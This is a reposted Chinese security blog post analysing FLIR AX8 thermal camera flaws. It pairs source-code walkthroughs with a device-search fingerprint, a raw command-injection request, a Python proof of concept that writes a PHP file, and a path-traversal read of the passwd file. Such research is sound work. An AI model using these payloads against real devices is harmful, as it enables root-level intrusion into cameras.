FLIR-AX8热成像仪多个漏洞复现+代码分析

admin 2024年9月24日10:39:25评论23 views字数 2281阅读7分36秒阅读模式
 

hunter语法

web.icon=="f4370ff0b4763e18159cd7cdf36a4542"

 

FLIR-AX8热成像仪-RCE分析

漏洞描述:

1.46.16 及以下未经身份验证的远程操作系统命令注入漏洞。res.php 页面中的 id 参数可以通过命令拼接,以 root 用户身份注入和执行任意 shell 命令,成功的利用可能允许攻击者以 root 权限在底层操作系统上执行任意命令。

漏洞复现:

payload:

POST /res.php HTTP/1.1Host: xx.xx.xx.xxUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/117.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeCookie: theme=light; distanceUnit=metric; temperatureUnit=celsius; showCameraId=false; clientTimeZoneOffset=-480; clientTimeZoneDST=0; PHPSESSID=8ff0e4065c8a04d1894ddde494f0fe8dUpgrade-Insecure-Requests: 1Content-Type: application/x-www-form-urlencodedContent-Length: 25action=node&resource=1;id

FLIR-AX8热成像仪多个漏洞复现+代码分析

源码分析:

先看下res.php的代码

FLIR-AX8热成像仪多个漏洞复现+代码分析

如果action参数为get的话,会走到第一个case里面,然后判断resource参数是否提交,如果提交了则进入开始判断resource参数内容,如果没有的话直接break跳出判断。

FLIR-AX8热成像仪多个漏洞复现+代码分析

然后看下这三个判断,前两个是判断文件是否存在,且没有可控参数,第三个判断用shell_exec函数执行了一条命令,后面拼接了resource参数,而且最后一个是default,只要不符合前两个case的话,就会走到这里,所以这里直接输入;id即可。

FLIR-AX8热成像仪多个漏洞复现+代码分析

FLIR-AX8热成像仪多个漏洞复现+代码分析

后面的代码也都和这个差不多,都按照这个思路去看就行,如果有看不明白的可以留言或者私信。

FLIR-AX8热成像仪多个漏洞复现+代码分析

FLIR-AX8 palette.php 命令执行漏洞分析

漏洞描述:

在 www 目录下 palette.php 程序接收 POST 方法请求,若存在 palette 参数,程序会将palette 的值与 LD_LIBRARY_PATH=/FLIR/usr/lib /FLIR/usr/bin/palette 拼接执行,若 palette 包含命令截断符,会造成命令注入。。

漏洞复现:

import requestsimport sysimport urllib3# disable https not verify warningurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)def verify(url):    try:            target_url = url + "/palette.php"        data = {            'palette' : "1;  echo '<?php phpinfo(); ?>' > temp.php",        }        headers = {            'Host': url.strip("http://").strip("https://"),            'Content-Type': 'application/x-www-form-urlencoded;charset=UTF-8',        }        response = requests.post(target_url,                                 verify=False,                                 data=data,                                 headers=headers)        print(response.text)    except Exception as e:        print(e)if __name__ == '__main__':    url = 'x.x.x.x'    verify(url=url)

FLIR-AX8热成像仪多个漏洞复现+代码分析

试了下,应该是没有回显,先不管这个了,分析一下源码

源码分析:

FLIR-AX8热成像仪多个漏洞复现+代码分析

这个就是先判断一下palette参数是否传递,如果传递的话下面执行命令然后拼接参数,然后没有输出命令结果。

FLIR-AX8热成像仪多个漏洞复现+代码分析

文件下载漏洞分析

这个漏洞是我自己找到的,后面我搜了下,有人先发出来了,我就不复制网上其他的介绍了,直接看下源码吧

FLIR-AX8热成像仪多个漏洞复现+代码分析

漏洞位置在这里,先从头看下源码有没有什么其他限制

FLIR-AX8热成像仪多个漏洞复现+代码分析

先看下第18行代码,这里判断了file参数是否提交,现在burp这边把file参数写上,防止后面忘记了

FLIR-AX8热成像仪多个漏洞复现+代码分析

FLIR-AX8热成像仪多个漏洞复现+代码分析

接下来是这三个地方接收了数据,第一个参数是文件名第二个是类型,第三个不知道干什么的,但是用三目运算符判断了一下,然后看下49行代码,这里判断了$is_attachment参数是否为真,如果为真的话这里是设置header头,问题不大,不耽误文件读取。

然后type那个参数我搜了一下没有地方用到这个,所以这个不用管了

FLIR-AX8热成像仪多个漏洞复现+代码分析

然后继续看下面的代码,判断文件类型,然后设置响应头等内容

FLIR-AX8热成像仪多个漏洞复现+代码分析

大概看了一眼,没有过滤../和文件类型,直接发包看下

FLIR-AX8热成像仪多个漏洞复现+代码分析

没问题,返回passwd文件内容了

 

 

原文始发于微信公众号(道一安全):FLIR-AX8热成像仪多个漏洞复现+代码分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年9月24日10:39:25
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   FLIR-AX8热成像仪多个漏洞复现+代码分析https://cn-sec.com/archives/3200908.html

发表评论

匿名网友 填写信息